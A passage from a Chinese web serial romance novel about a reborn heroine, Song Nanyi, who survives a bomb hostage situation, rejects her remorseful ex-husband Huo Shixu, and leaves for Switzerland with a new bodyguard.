“宋南伊,这次,不会再有人来救你了,陆为谦不会,霍时序更不会,我们一起上路,兴许路上能遇到景晨,我给他报仇了,他一定会很开心的。”
“黄泉路上有我陪着你,你也不孤单,谁的命不是命呢,你也没高贵到哪儿去。”
宋南伊很平静。
前世,她送苏语安离开江城,苏语安被先奸后杀,死得很惨。
这一世,苏语安处心积虑地想要杀了她,似乎也合情合理。
因果轮回。
谁还不是谁的报应呢。
可她不甘用宋家三条人命,陪葬苏语安。
“苏景晨的死,难道不是因为你吗?是你将他推进了,本不该闯进的深渊,你口口声声为他报仇,其实……最该死的人是你。”
“是你杀了景晨,不是我……”苏语安的脑袋不可控制的摇晃了起来,像是受了某种刺激,“你杀了他,你就得为他偿命。”
“不是我杀了他,是你杀了他。”宋南伊一字一顿提醒着,她曾经做下的恶事,“是你先害**我的弟弟,苏景晨才会死的,是你苏语安,是你为了给所谓的爱人报仇,害**自己的弟弟。”
苏景晨本不该死。
那宋星言就该死吗?
她的弟弟才十六岁,他的人生才刚刚开始。
一报还一报而已。
宋南伊本不该跟一个疯子,讲道理。
她是仇人,不是推心置腹的朋友。
苏语安不接受这样的说辞。
她扭曲着脸,否定着宋南伊的话,“不是的,不是这
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样的,是你害**他,就是你。”
“宋南伊,**吧……”
苏语安冷冷的,拉开了定时**的保险。
十分钟的计时。
说多不多,说少也不少,如同量身定制的沙漏。
滴滴答答,扰乱人心。
她似乎很安然。
接受着属于自己的死亡时刻。
但宋南伊不甘心。
她凭什么要死在一个疯子手里。
“苏语安……”宋南伊拼尽全力,将自己挣脱开捆绑的绳子。
但定时**是死结,她根本解不下来,“……苏语安,你真的不想活了吗?不如,听听这个。”
是一段录音。
“语安啊,妈实在不该把景晨的死,怪到你头上,从小到大,你和景晨的关系最好,妈知道,他离开,最难过的是你。”
“妈不该说那些狠话,让你伤心,现在咱们家的情况,你也知道,举步维艰,前段时间,你爸查出来了癌症,有时间,你回家看看爸爸,他很想你。”
“对了,你姐前段时间回来,问起你,一直想着去找你聊聊,妈知道郑拓死后,你的心里难过,别再做错事了,景晨已经**,妈不希望你再出事。”
“语安,今天妈包了你最爱吃的桂花汤圆,等你回来吃……”
苏语安捂着自己的脸,
泣不成声。
这段录音。
是宋南伊让邓雪去苏家录的。
内容真实。
她没有想到,今天会派上用场。
她相信,苏语安是有触动的。
女人从眼泪中,抬起头来,抽泣着看向宋南伊,“我确实不想**,但是你宋南伊,必需得死。”
“如果我**,你的家人,可就……”宋南伊故意留了后半截话没说。
算是威胁。
也算是自救。
苏语安果然上套,她狰狞着,死死瞪着宋南伊,“你想对我的家人下手?宋南伊,你以为你是天了?”
时间还有两分钟。
宋南伊心里是慌的。
但面上,她从容淡定,将生死看淡。
看不出,半分的慌张。
她指了指身上的定时**。
苏语安咬碎牙根,在时间只剩下三十秒的时间,用手中的遥控器,按了暂停。
这场博弈。
宋南伊暂时略胜。
但这枚定时**,只是暂停,并没有终止计时。
她被炸死的风险,还存在。
……
第91章 霍时序的前妻**
机场。
专机已经在停机坪上,整装待发。
霍时序面色冷峻。
江淮不得不提醒一句,“霍总,宋小姐现在情况,也不知道怎么样了?您……”
霍时序的脚步顿住了。
前世的记忆袭来。
他因为母亲的病,与宋南伊的关系,越来越恶劣,最终在她生产的时候,失去了她。
现在……
她依然在面对着生命的危险。
他是要先去救她,还是去处理母亲的后事?
“派人去找了吗?有没有消息回来?”
“已经派人去了,但是……”江淮表示,目前一点反馈都没有。
霍时序是犹豫的。
母亲被害离世,他沉痛心碎,想去送母亲最后一程。
但宋南伊不重要吗?
前世,他欠她的,这世,他怎么可以又把她丢在危险里?
不管不顾。
两难。
“霍总,要不,我去处理夫人的后事,您留下来?”江淮说。
霍时序没有说话。
他内心纠结。
飞机准备起飞。
电视屏幕上播放着一则最新出炉的**性新闻。
“最新报道,苇湾小区发生一起**事件,**造成死亡三人,重伤五人,轻伤七人,事件恶劣,据周围群众描述,是一起**的撕票事件,伤亡中,有一人极有可能是,霍氏总裁霍时序前妻……”
“霍总,是苏语安住的小区,难道,真的是苏语安**了宋小姐?”江淮惊呼。
**?
以苏语安那疯劲,八成是在宋南伊的身上绑了定时**。
那人岂不是……
霍时序脑子嗡的一声……
天旋地转。
大脑一片空白。
“南伊,南伊……”
他踉跄着走下飞机。
双眸失神,心似乎被什么夺走一般,瞬间跌入了无底深渊。
他边走边抽自己巴掌。
他不应该犹豫的,他应该第一时间选择去救宋南伊。
前世他就让她丢掉了生命。
为什么,他还要犯这样的错误。
他对不起她。
他是个浑蛋。
他要去找她,现在就去,他的南伊……
霍时序听到了心脏碎裂的声音。
走向现场的每一步,都满是荆棘,扎得他鲜血淋漓。
江淮想劝一嘴。
但**是真的。
伤亡也是真的。
是死,是活,全看命。
“霍总,兴许没那么糟糕,您先别难过。”
“如果她**,我如何能活下去……”
霍时序失态了。
那个高高在上的冰山总裁,如今失去主张,溃不成军。
车子以最快的速度,连闯几个红灯,赶到了事发地。
**的小区,围上了警戒线。
“霍总,要不咱们先回去吧,这里不让进。”
“我要见南伊,我一定要见到南伊是安全的,她没出事……”霍时序失控的痛苦怒吼。
江淮没办法。
但警察又不让进。
一扭头,他看到了裴吟。
“裴小姐。”江淮像看到了救星,“宋小姐她……”
裴吟眼眸微动,透过江淮,看到了痛哭流涕的霍时序。
这是来哭丧来了?
“别装了霍时序,邓雪打电话向你求助,你说有更重要的事情处理,苏语安也给你打过几个电话,想让你出现,你连接都不接,你根本不管南伊的死活,现在出事了,你哭得倒像个人似的,早干嘛去了。”
人,怎么可以不要脸到这种地步。
呸。
裴吟啐了一口。
“霍总确实是担心宋小姐的,但是……”江淮想替霍时序解释。
裴吟抬手一挥,厌烦打断,“够了,你们就是希望宋家没人了,就开心了,怎么着,宋家上辈子撅你们祖坟了?”
“裴小姐你别这么说,霍总是急着去处理……”
裴吟不想听,冷冰冰的再次打断,“……他爱去干嘛去干嘛,既然什么事情都比南伊的命重要,又来哭天喊地的干什么?表演深情给鬼看吗?”
江淮瘪了。
任何话,在此时显得都苍白无力。
霍时序跪在地上,肩膀抽动。
裴吟看得心烦,转身回到了商务车上。
什么狗东西。
做人不行,演戏第一。
伸手,轻轻地替女人,整理着微乱的头发,“谁知道,他是在哭你,还是哭苏语安,八成是在哭苏语安吧,毕竟她被炸得也快**。”
宋南伊微微抿唇。
刚刚经历了凶险,如果不是裴吟和邓雪及时赶到,她怎么可能死里逃生。
“裴吟,谢谢你。”
“谢我什么?”裴吟不喜欢听见外的话,“南伊,你知道吗?邓雪找到我时,我快被吓**,立马就找了安保公司最得力的保镖,过来救你,幸好,幸好,你还活着。”
裴吟激
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动了。
眼睛红着。
宋南伊轻轻地抱紧了她,“有你真好。”
不像霍时序。
总在二选一的时候,放弃她。
前世,她真糊涂啊。
为了霍时序放弃了这么好的朋友。
“裴吟,我现在只想回去好好的洗个澡,然后再睡上一觉。”
“开车吧师傅。”裴吟对着司机说,似是又想到了什么,“对了,明天,我亲自去安保公司,为你挑选一位保镖,以后,你走哪儿,就保护到哪儿,绝不给坏人机会。”
“苏语安都快**,谁还会伤害我。”宋南伊觉得没必要。
裴吟坚持,“苏语安快**,霍时序可没死啊,你现在怀着身孕,正是需要人照顾的时候,这样,也能避免,霍时序来找你的麻烦。”
避开霍时序倒是真的。
宋南伊闭起眼睛,“找个帅点的,我这个人,有点颜控。”
“必需让你满意,放心吧。”
……
“霍总,您别难过了,还是先去警方那边,问一下,看看宋小姐到底是活着,还是……”
刚刚,裴吟虽然说话难听。
但似乎并没有那么悲伤。
是不是可以初步判定,宋南伊还活着。
霍时序踉跄着起身,擦了把泪,“走吧。”
后来,在警察那儿了解到。
宋南伊还活着,只是,苏语安伤势惨重,随时可能就没了。
结局是好的。
但霍时序自己知道,他又犯一个不可饶恕的错误。
这个错误,间接会导致他与宋南伊的裂痕会越来越深。
想要挽回她。
几乎变成了不可能的事情。
不重要了。
人活着就好。
只要人活着,他就有机会。
……
霍时序确定宋南伊安然无恙后。
便飞去了挪威,处理母亲的后事。
骨灰带回霍家。
宋南伊是从新闻上,知道的这件事情。
原来,霍时序的亲生母亲,一直生活在挪威。
直到离婚,她都没有见过这个婆婆。
前一世,霍时序藏得很好。
这一世,藏得更好。
说到底,在他的心里,没有把她当成一家人。
否则,她怎么会一次亲婆婆的面都没有见过?
前世,她一直认为孙爱芸是霍时序的亲生母亲。
一家人,都瞒得挺好的。
把她当外人,当傻子。
第92章 她有小狼狗了
关掉电视。
宋南伊端起牛奶,轻啜了一口。
这次**她的事件中,受到了太多的惊吓,夜夜惊悸不安。
可能是怀孕的关系。
她比从前脆弱了许多。
十分的难熬。
却又不得不坚持。
裴吟带了一个年轻力壮,身高一米九的男人,走了进来。
“南伊,我挑了一位合适的人选,他叫宁时,当过特种兵,专业绝对过关,那天跟我一起去救你的,也有他在,以后,由他24小时保护你,你会很安全的。”
宋南伊这才抬眼,仔细端详这个年轻的男人。
剑眉星目,五官深邃,头发很短,直愣愣地竖着,看上去英姿焕发,干净利落。
长相和身材都挺迷人的。
他的好看与霍时序完全不一样。
她极少见到如此阳刚俊美的男人。
而且看起来,安全感十足。
“裴吟,你……”宋南伊冲她竖了个大拇指。
“你喜欢就好喽。”裴吟附在宋南伊的耳边,低声说,“保镖和大小姐,也可以有一段,禁忌之恋,该上的时候,别犹豫。”
“我?”宋南伊指着自己,笑了,“一个孕妇?你可真高看我了。”
“孩子总是要生的,生完宝宝,那该死的女人味,不知道会迷死多少这样的男人呢。”裴吟希望宋南伊要放开自己,“咱是单身,不受任何的约束。”
宋南伊扶额,笑裴吟越来越不着调。
她再次望向了宁时。
他站得笔直。
像是认真做事的人。
有这样的男人,在身边保护她,至少,她和宝宝不会受到伤害。
“我应该怎么称呼你?”宋南伊问。
宁时微微颔首,“叫我名字就好。”
“希望,我们相处愉快。”
“是。”
……
霍家。
霍时序低调的,将母亲葬在了霍家的陵园。
孙爱芸心里不舒服。
里里外外的,透着不满,“那以后,我**,要埋在哪儿?爸,这你得给个说法吧?好歹我也伺候明达和时序二十年,没有功劳也有苦劳,总不能以后让我埋在别的地方吧?”
霍正诚给不了答案。
问向自己的儿子,“明达,你的意思呢?将来是跟时序的妈合葬,还是跟爱芸合葬?”
霍时序在现场。
霍明达,也不好乱表态。
他与霍时序的亲生母亲,虽然已经离婚,但她并没有再嫁。
一直在挪威养病。
当年,离开霍家,也是为了顾全霍家的名声。
有霍时序这个儿子在,她进霍家的墓园,没人说什么。
与孙爱芸的关系……,一起生活二十余年,只是没有领证,却是事实夫妻。
这……令他为难。
“以后再说吧。”
“什么叫以后再说?”孙爱芸委屈极了,直掉泪,“你最好现在说清楚,以后我埋在哪儿?要不然,以后你走了,我可就无家可归了。”
霍明达不爱听这种话。
什么叫他先走了?
“我就算是走了,也会安排好你,你急个什么劲。”
“不,你今天就要把话讲清楚。”孙爱芸不依不饶。
场面一时有点尴尬。
“这还用问吗?当然跟原配埋在一起,难不成跟你这个没名没份的埋在一起吗?”霍时序起身,冷眼看向孙爱芸,“不要以为,我人前叫了你几年妈,就真成这个家的女主人了。”
“你……”孙爱芸被刺激,一想到这些年,在霍家当牛做马,最后还死无葬身之地,就一刻也不想留,“……既然你们自始至终都没有把我当一家人,那我走就是了,我走,你们埋在一起好了。”
从法律上讲。
她不是霍明达的妻子,充其量算是个女朋友。
这已经够让她忍辱负重了。
要不是,霍明达以夫妻之道待她,她早就走了,根本不可能等到现在。
“明达,反正我们也不是真正的夫妻,今天,我就离开霍家,你们好好的过你们的日子,全当我这些年的付出……喂了……”
孙爱芸哭得跑了出去。
霍明达脸色难看,指责霍时序,“说话不要那么难听,好歹她也是长辈,这些年,她在你身上付出的也不少,人得懂得感恩。”
“你要是懂得感恩,在我母亲离开的这些年里,你就不应该再找个女人留在身边。”
霍时序怼得霍明达,面红耳赤。
面子上挂不住,霍明达重重拍桌子,瞪眼为自己争辩,“我跟你妈是离了婚的,我有自由,也有权利找女人。”
“好了,吵吵闹闹的成何体统。”老爷子不得不出来说句话,将现场收拾,“都先回去休息吧。”
…
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…
宋南伊准备在离开江城前。
再找吕恋谈一下珠宝的事情。
约在了一家甜品店。
吕恋看着宋南伊身旁,高大年轻又英挺的男人,不由地上下打量,“这位是……”
“谈一下你珠宝的问题吧。”宋南伊不想扯别的,“如果你再拖着不处理,过了时效期,我们有权利,不再将你提出来的各种要求,做答复。”
吕恋轻笑,“看得出来,宋小姐你,挺急的。”
“对待工作,我向来认真。”
“那行吧,珠宝的订制是公司帮忙下单的,我得让我们老板来跟你谈。”她抬腕看了眼时间,“为了不耽误你的时间,就约在下午吧,地点,我到时发你。”
“好。”
宋南伊很快带着宁时离开。
吕恋对着他们的背影,按下了快门,随即将照片发给了霍时序。
“序哥,宋南伊身边,现在可有小狼狗了。”指尖在手机键盘上,噼里啪啦地打着字,“不过,我为你创造了一个机会,你要把握住哦。”
手机那头的男人。
看着照片上的二人背影。
放大,再放大。
而后,重重地将手机摔了出去。
抽了根烟,递到唇上,他深吸了一口……
……
下午,宋南伊到得比较早。
宁时一直规矩地站在她身边。
她便递了杯奶茶给他,“喝吧,清爽的,不算很甜。”
“不用了宋总。”
“宁时,你只需要在有人的时候,保护我的安全,现在周围没人,不必那么紧张,我又不是什么苛刻的老板,拿着吧。”
宋南伊将奶茶递到了宁时的手里。
他只好接住,“谢谢宋总。”
抬眼。
远远地,宋南伊看到了一身黑色西装的霍时序。
他的身材比例很好,简单的穿衣,也可以有碾压一切的魅力。
人帅的扎眼。
吸引了很多女人的视线。
她差一点忘了。
霍时序是吕恋的老板,整个娱乐公司,只签了一个人,还给订制价值千万的珠宝,走红毯。
他真的可以对任何人,都很好。
除了她。
心酸再次涌上心头,她克制住了。
在霍时序走到宋南伊面前时,宁时挡在了二人中间,“请离宋总,远一点,保持安全距离。”
第93章 我们之间已经结束了
宁时身形高大。
丝毫不输霍时序。
挡在宋南伊的面前,为她形成了天然的安全屏障。
逼的霍时序只得后退。
“这就是你请的保镖?”霍时序后退三步,弯身坐到了宋南伊的对面,“南伊,我们之间聊事情,一个外人在场,不合适吧?”
“我与霍总你,只是谈公事,有没有外人在场,那么重要吗?”
宋南伊将合同和修改方案,递到了霍时序的面前。
“关于珠宝出现的问题,你们有两个方案可以选,一是修改,二是赔偿。”
霍时序没看合同和方案。
他双腿交叠,敌视地看了宁时一眼,“南伊,能不能让他先退下,我有一些心里话要同你讲。”
宋南伊不讲话。
淡而冷地睨向他。
霍时序环视着四周,“这里这么多人,我不会把你怎么样,我有一些……,也许,以后我们将没有机会再坐在一起,我真有心里话要说,让他离开,可以吗?”
宋南伊不知道霍时序要讲什么。
或许是抱歉,或许是愧疚,也或许是假惺惺的爱。
总之。
面对他这种虚张声势的卑微。
她不感兴趣。
“霍时序,我们之间没什么悄悄话可说。”
“我有,我真的有。”霍时序退步道,“那让他离远一点,总可以吧?在他可以看到你的地方,行吗?南伊。”
宋南伊不想浪费时间。
转头对宁时说,“你退后三步。”
“是。”
宁时退后三步,在他目光所及之处,保障着宋南伊的安全。
宋南伊看向霍时序,没有任何感情地说,“有什么想说的,一次性说完。”
“南伊,对不起,我不知道会把你伤得那么重,在飞机上,我收你的生日礼物,我以为,我以为,我们还会像从前一样……,没想到……”
他沉吟着。
痛苦万分。
“南伊,我记起了一些事情,好像是上一辈子的回忆,我们为了苏语安争吵,你那样地挽回我,挽回我们的感情,可我那时脑子不清醒,陷入了一种混沌之中,苏语安死后,母亲也因此去世,我恨,我知道,我不该把这恨算到你头上,可我就是……”
霍时序提到前世。
宋南伊的瞳仁猛地收紧……
心跳开始加速。
他的记忆里有了前世。
他也重生?
所以,他现在是知道,自己为什么在这一世,要处心积虑地离开他。
好。
很好。
打明牌。
“霍时序,既然你知道了前世发生的事情,还有什么可讲的呢?这一世重生,我是想着成全你的,我只想留住我这条命,可你偏偏不放过我,你间接害**星言和我妈,你让我如何释怀?”
这一世。
她只想活着。
可如今呢,她生不如死。
晚了。
知道前世他是如何的浑蛋又怎样呢?
一切都没有挽回的机会了。
星言不会活过来。
母亲也不会。
“南伊,我想弥补,或者说赎罪,更为贴切,给我个机会,好吗?”
他握住了她的手。
全身都在颤抖。
“孩子我已经还给你了,婚也离了,我们这辈子都不会再有交集,所谓机会,不过是你自己想买一个心安理得,抱歉,我没有义务配合你。”
“不是的,我爱你南伊,我不想失去你。”
宋南伊扶额。
还真给她猜对了。
他又在假惺惺的示爱了。
可惜,她不是二十岁出头的宋南伊了。
一个千疮百孔的女人,怎么肯再相信这样的谎言。
“你爱过的人,又何止我一个?你不爱苏语安吗?不爱她,为什么抱着她的照片殉情?你不爱吕恋吗?不爱就不会送千万的首饰。在二选一的时候,你永远站在我的对立面,霍时序,你伤了我两世,再蠢再傻,我也不会再跳进你这个坑里。”
她拿起包,准备离开。
被他死死地扣住手腕,“那些我都可以解释,南伊,我只爱你。”
“或许,你最爱的是你自己,最爱的是你那从小就离开你的母亲,你可以去爱任何人,但你不配爱我,一点都不配。”
提到这个她从未见过的婆婆。
宋南伊有一种无法形容的感受。
儿子爱母亲,天经地义。
万不该的是,踩着她和她家人的血去爱。
她深呼吸。
抽回了自己的手腕,“我们之间已经结束了。”
“你要怎样,才肯原谅我?”他不想放弃,也不会放弃,“南伊,只要你肯原谅我,
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让我**,我也愿意。”
死?
他根本不知道死过一次的滋味。
死是亲人的眼泪,是撕心裂肺的痛哭。
是孤魂飘在空中,不知身去何处的孤独和悲伤。
死亡会让人恐惧。
正因为如此。
当上天给了她重活一世的机会,她唯一想的就是活着。
然而……事与愿违。
霍时序根本不懂。
这种大话,听听算了。
宋南伊转身离去。
霍时序上前去追,被宁时抬手拦下,“霍先生,请自重。”
“她是我老婆,给我让开。”他想绕过宁时,宁时身手快,支身将他再次拦住,“霍先生,你们已经离婚了,请不要骚扰宋总,否则,我不会客气。”
这种场合,实在不必硬碰硬。
想要挽回宋南伊的心,也不是一时半会儿的就可以。
他要让她看到,挽回的决心。
而不是冲动的打打杀杀。
他深吸了一口气,看向面前这个人高马大的男人,“好,我不骚扰,既然你是她的保镖,就请你照顾好她,如若不然,我唯你是问。”
宋南伊回到车上。
闭起眼睛。
眼眶很酸,她有些失态。
宁时回来时,给她带了一杯奶茶,“如果心里苦,就喝点甜的。”
宋南伊轻然一笑。
眼底温柔。
这个粗线条的男人,竟藏着如此细腻入微的一面,令她感到几分惊喜和意外。
“谢谢你。”宋南伊抬手接过来,抹茶味的,她很喜欢,“有你在,果然很安心。”
让她少了许多,与霍时序无谓的纠缠。
“这是我的工作。”宁时的话语简洁。
宋南伊浅笑依然,“一会儿陪我去做产检吧,过几天我就要回瑞士了,你可以跟我过去,继续做我的保镖,工资翻倍,如果不愿离开江城,我让裴吟再给你找新的业主。”
“如果你需要,我可以跟你过去,我在江城……”
宁时话很少。
宋南伊通常怎么安排,他都没有意见。
这次,似乎有些难言之隐,“……我在江城,只有一个妹妹,但她……在做牢。”
宋南伊震惊。
一个女人,怎么会去做牢的?
她好奇地追问了一句,“发生什么了?”
第94章 南伊,我不能没有你
妹妹的过往,令宁时有些难过和窒息。
他做了几个深呼吸后,才缓慢地说道,“妹妹跟妹夫是朋友介绍认识的,相恋三年,才结的婚,谁成想,结婚后,妹夫就跟变了个人,工作不顺了打妹妹,工资发少了也打,饭菜不可口了还打,平时打,怀了孕还打,生完孩子,在医院里,他还扇了她巴掌。”
“后来孩子生了一场重病去世了,妹夫不管孩子,还对妹妹拳打脚踢,她一气之下,就将妹夫捅**,我也是在警察通知到我的时候,才知道发生了这样的事情。”
“我请了律师为妹妹打官司,判了十五年。”
尽管宁时的语气,尽量的平和。
但宋南伊依然听得出,他对妹妹的愧疚。
“她一直就没有跟你讲,她在婚姻里经受的这些伤害吗?”
“应该是怕给我添麻烦,又怕我担心,所以才……独自忍受的吧。”
他有很深的抱歉。
又有难得的柔软和怜惜在里面。
兄妹情深。
宋南伊想到了宋星言。
弟弟从小就对她十分依赖。
前世她嫁给霍时序那会儿,他对霍时序也很依恋,总是姐夫长,姐夫短的,他是真的把霍时序当成了一家人。
而这个他曾经爱戴的姐夫,最后却成了刽子手。
她想弟弟了。
很想再听听,他无赖却满是道理的,撒娇。
回不去了。
宋南伊眼眶湿了。
宁时忙递了纸巾给她,“我不该说这些事情的,惹你伤心了。”
“我是想到了我的弟弟,跟你无关。”宋南伊轻轻地拭掉了眼角的泪,“弟弟他去世了,想起一些过往,所以才流泪的。”
情感相通,才能感同身受。
宁时理解。
……
离开江城的前一晚。
宋南伊回了趟宋家。
雨,淅沥。
车子停好。
宁时撑着伞,送她走进别墅。
宋南伊进门的第一件事情,就是打开了电视,调到了体育频道。
宋星言喜欢看。
然后,她独自上了二楼。
父母的卧室里还跟从前一样。
母亲的东西都在,她没收拾,只是一个人,静静地坐在床上,像是母亲还在时一样。
楼下电视里的画面一转。
霍时序的脸,出现在了屏幕上。
宁时将宋南伊叫了下来。
“大家好,我是霍氏集团的总裁霍时序,占用大家几分钟宝贵的时间,向我的前妻宋南伊小姐道歉,南伊,对不起,前世今生我欠你的太多太多,我知道,不是简单的几句对不起,就可以求得你的原谅,但我悔过是真的,我不想失去你……”
“我求你能回到我的身边,我愿意为我所犯下的错误,终生忏悔,求你回来,南伊,我不能没有你,我真的很爱很爱你,对不起,真的对不起……”
电视里的霍时序,声泪俱下,完全不顾形象。
道歉的话,重复地一遍又一遍地播放着。
宋南伊拿起遥控器换了台。
还是同样的脸,同样的道歉。
便关掉了电视。
……
霍时序道歉的事情,沸腾了整个江城。
网上对他的议论,更是空前绝后。
“男人就是贱啊,老婆离婚了,发现她的好了,这时的对不起值几个钱啊,早干嘛去了?跟小三在外面同居的时候,可没说过对不起啊,真不要脸。”
“就是,我记得前段时间,他还夜宿某个大明星家里呢,这怎么还演上深情了?给谁看啊?我们可不看,脏了眼睛。”
“谁说不是呢,以前江城的头条,可全被他呵护小三的新闻霸占着,听说还把小三带回家,让老婆帮忙养着呢,这不是拿刀剜心吗?我看啊,离得还是太晚了。”
“这种男人真不值得原谅,有钱就可以为所欲为吗?人性,去哪儿了?以为道个歉,就可以把过去犯的错抹平了?想什么呢?宋南伊坚持住,不原谅。”
评论如海淹一般。
超过三分之二都是在指责霍时序。
霍氏股价应声跌到历史最低点。
霍明达紧急撤掉了,这所谓的真情流露的道歉视频。
但损失依然不可估量。
“你是不是疯了?霍氏是你一个人的霍氏吗?你要道歉,你可以去给宋南伊下跪,搞这一出是嫌霍氏死得太慢?”
霍明达震怒。
连一向偏袒孙儿的霍正诚,这次也十分失望。
“道歉的方式很多种,你以为,这
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样道歉就彰显真诚了?时序啊,如果真的想挽回南伊,就要设身处地地为她想,不要把她架在网络上面,你太冲动了。”
老爷子语重心长。
一段婚姻走到如此的地步。
责任在霍时序,也在霍家。
但用错了方法。
霍时序沉默不语。
霍明达看得来气,抄起一个烟灰缸就砸了过去。
霍时序没躲。
烟灰缸砸在他的左边额角,顿时一道血口子。
“现在霍氏因为你这点破事,人心动荡,股价就不说了,快跌穿地球了,一些正在合作的公司和业务也受到了影响,霍家百年基业,马上就要毁于一旦,你说怎么办吧。”
血沿着额头,流进眼睛里,染红了瞳孔。
他垂下脑袋。
血一滴一滴的,落在眼前。
“钱没了,可以再赚,如果南伊看不到我的真心,这辈子我都无法原谅自己。”
“早干嘛去了?”霍明达蹙紧眉头,觉得可笑,“早对她好一点,不跟那个苏语安搞破鞋,不是什么事情都没有,你也有老婆,我们霍家也马上就抱上孙子了,现在,弄这一出,人家宋南伊会看一眼吗?”
面对霍氏的困境。
霍明达没办法,想着给宋南伊打个电话,让她出来帮着说几句好话。
电话打过去,空号。
微信发消息,红色感叹号。
“把我也拉黑了,你,让我说你什么好。”
霍明达气得要摔手机。
霍正诚阅历深,没有他那么浮躁,“明达,你也沉住气,既然这事是时序惹出来的,就交给他处理吧。”
老爷子看向一直沉闷不语的霍时序。
即便责备几句,也无济于事。
自己闯出来的祸,还是自己去弥补吧。
……
江城大部分人都看到了,霍时序道歉的视频。
虽然霍家撤下了视频。
有很多小号,也为了流量也在偷偷的转发。
裴吟问宋南伊是怎么想的。
生怕她脑子一热,再回到霍时序怀抱。
“你不会因为他说几句好听的,你就心软要原谅他了吧?”
宋南伊涩笑,“裴吟,原谅一个人,没那么容易的,我们之间,有血债。”
第95章 毁容
“你说,他跟苏语安到底有没有偷过情?”
“重要吗?”
这并不重要,重要的是,他为了别人伤害过她。
无论这个人是苏语安,还是他的亲生母亲。
“倒也是。”
宋南伊深吸一口气,“裴吟,我得回瑞士了,我离开太久了,我不放心我爸。”
“要带宁时走吗?”
“嗯。”
“有他在,就不怕霍时序再追过去打扰你们了。”
宋南伊有些后悔,回江城这事。
工作的事情,交待给邓雪后,她便带着宁时回了瑞士。
瑞士的生活,很平淡。
宁时平时的工作,由保护宋南伊,变成了照顾宋知令。
枯燥,又相对安宁。
……
江城。
霍时序带着江淮,出现在了苏语安的医院里。
人醒了。
很虚弱。
**时,她受到了很严重的创伤,胳膊炸掉了一只,脸也毁了容。
命挺大。
即便是人人都觉得她活不了。
她又活了下来。
看到霍时序,她阴佞地冲他笑,像在嘲笑他,明明想抓住所有,却偏偏失去了所有。
江淮抬手给了她一个耳光。
唇角有血流出。
她咬着牙,唇角和眼尾的笑,却并没有停止。
“很痛苦吧,霍时序,妈**,老婆也走了,霍氏的股价也崩了,你以为你能掌控一切,现实呢,你什么也抓不住。”
她仰头大笑。
面目狰狞。
江淮正想再甩她一个巴掌。
被霍时序阻止。
他眼眸冰凉,眼底是噬血的寒意,每往她面前走一步,便会万物不生。
“你挺得意啊。”
苏语安瞪着猩红的眼睛,毫无惧色。
“我差一点死在异国他乡了,报复不应该吗?”
“霍时序,你不仅害**我的爱人,还把我整个人生都毁了,我说了,你杀了宋南伊,我就让你抽骨髓,你呢,你根本不守信用,你想榨干我最后一滴血,你以为我会坐以待毙?”
“不,我要报复,你不是最爱你的那个疯子母亲吗?那我就杀了她,我捅了她很多刀,她在我的刀下惊恐,垂死挣扎,她喊你的名字,要你救她……哈哈哈……可面前只有我这个**凶手,她绝望极了,那感觉,别提多痛快了。”
霍时序紧握的拳头,缓缓的张开,抬手狠狠地攥住了苏语安的脖子。
她的狂妄,叫嚣,被他重重的掐住。
她在他的手下,窒息,挣扎,声音被噎住。
死一万次,不足惜。
就这么让她**,太便宜她了。
在她的脖子就要被掐断的时候,霍时序松开了手。
“江淮,带她去一个没人找到的地方,让她慢慢地享受她接下来的人生。”
“是。”
江淮将她砍晕。
扛到肩上,带出了医院。
……
再见宋南伊时。
她由宁时陪着从瑞士的妇产医院出来。
看到霍时序时。
宋南伊是有一些慌乱在的。
他出现得太突然,还在这种地方,多想肯定是避免不了的。
她身材本就纤瘦。
再加上胎后位,小腹虽然微凸,但怀孕月份看起来,明显偏小。
她是可以用谎言,来打消他的怀疑。
要告诉他真相?
还是说,一直瞒下去。
宋南伊心里的想法,变得复杂。
霍时序显然是震惊的。
尤其是看到宋南伊微凸的小腹,他更加怀疑,这个孩子的来历。
“你……怀孕了?”霍时序怀疑,但不敢确定,“……这个孩子……”
他很激动。
试图抓住宋南伊质问。
宁时抬手将他拦下,警告,“霍先生,请保持安全距离,否则,别怪我不客气。”
“宋南伊,这个孩子是谁的?是不是我的?”
如果是他的,他和她之间就有了羁绊。
为了孩子,她应该会原谅自己的。
“是吗?南伊,那宝宝你没有打掉对不对?你只是气我,只是想刺激我,报复我,你没有那么狠心的不是吗?”
他又想哭,又想笑。
这是上天的安排。
上天在给他一个弥补的机会。
宁时拦着他。
他无法靠近宋南伊。
但他现在就想抱抱她。
宋南伊的眼神冰冷。
看他像看一个怪物。
“是你的,不是你的重要吗?霍时序,前世,我们的孩子是生了的,我用我的命生下的孩子,你把他送进了福利院,都忘了吗?如今,惺惺作态,又要演爱子的伟大父亲,有意义吗?”
“离婚就当各自**,这是对彼此的最大尊重,纠缠,只会让人厌恶和瞧不上,不要再出现在我的面前了,不要再打扰我的生活。”
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>字里行间,是宋南伊对过去这段婚姻的决绝。
霍时序懂得。
他只是在装不懂。
他以为,她还会跟从前一样,只要他肯示弱,服软,掉几滴泪,她就会心疼他,乖乖的与他重新开始。
人生不游戏,没有那么多的重开。
她退出他的人生。
她希望他也是。
霍时序忏悔的望着她。
并没换来她些许的怜悯。
即便是这样。
他还是厚着脸皮,跟她回了家。
宋知令见到他,稍稍有些错愕。
难听的话没说,好听的也说不出来。
只是问了一些老爷子身体的状况,算是消解尴尬。
有宁时在二人中间挡着。
霍时序无法接近宋南伊。
宋南伊坐在阳台上发呆。
宁时给她冲了杯牛奶,送过来,“我看你今天没怎么吃东西,宝宝需要营养,喝杯奶吧。”
“谢谢。”
宋南伊接过,目光依然怔忡。
宁时从江城跟过来,看得最多的就是宋南伊,一个人坐着发呆。
眼神很空洞。
又似乎有讲不完的故事。
他大概地听裴吟讲过宋南伊和霍时序之间的事情。
显然,他知道的并不够。
“如果不介意的话,你可以跟我讲讲,你和他的故事,算是……”**该如何形容,“……给自己的心,一个疏解的渠道吧,老憋在心里,会憋坏的,况且你还怀着孕。”
宋南伊轻轻地笑了。
宁时粗犷的外表下,藏着一颗细腻的心。
这样的男人,是值得深交的。
她不是不想讲。
只是无从讲起。
前世今生,谁又能听得懂呢。
窗外的小雨,如昨。
风一吹,有雨丝落到她精致的小脸上,凉凉的,“我和他……的过去,是我最想遗忘的,宁时,谢谢你这么关心我,人生是往前看的,一直往后看,容易走回头路,我不想走回头路。”
宁时似懂非懂。
但从宋南伊的深暗的眸子里,他能感受到,她现在一点都不快乐。
“可你不开心,不是吗?”
“爱情就像带刺的玫瑰,美好却伤人,我用两世看透了一个男人,够了,不管未来我的人生会是怎样,至少,当下,我对得起自己,对得起家人……慢慢地,我会快乐起来的。”
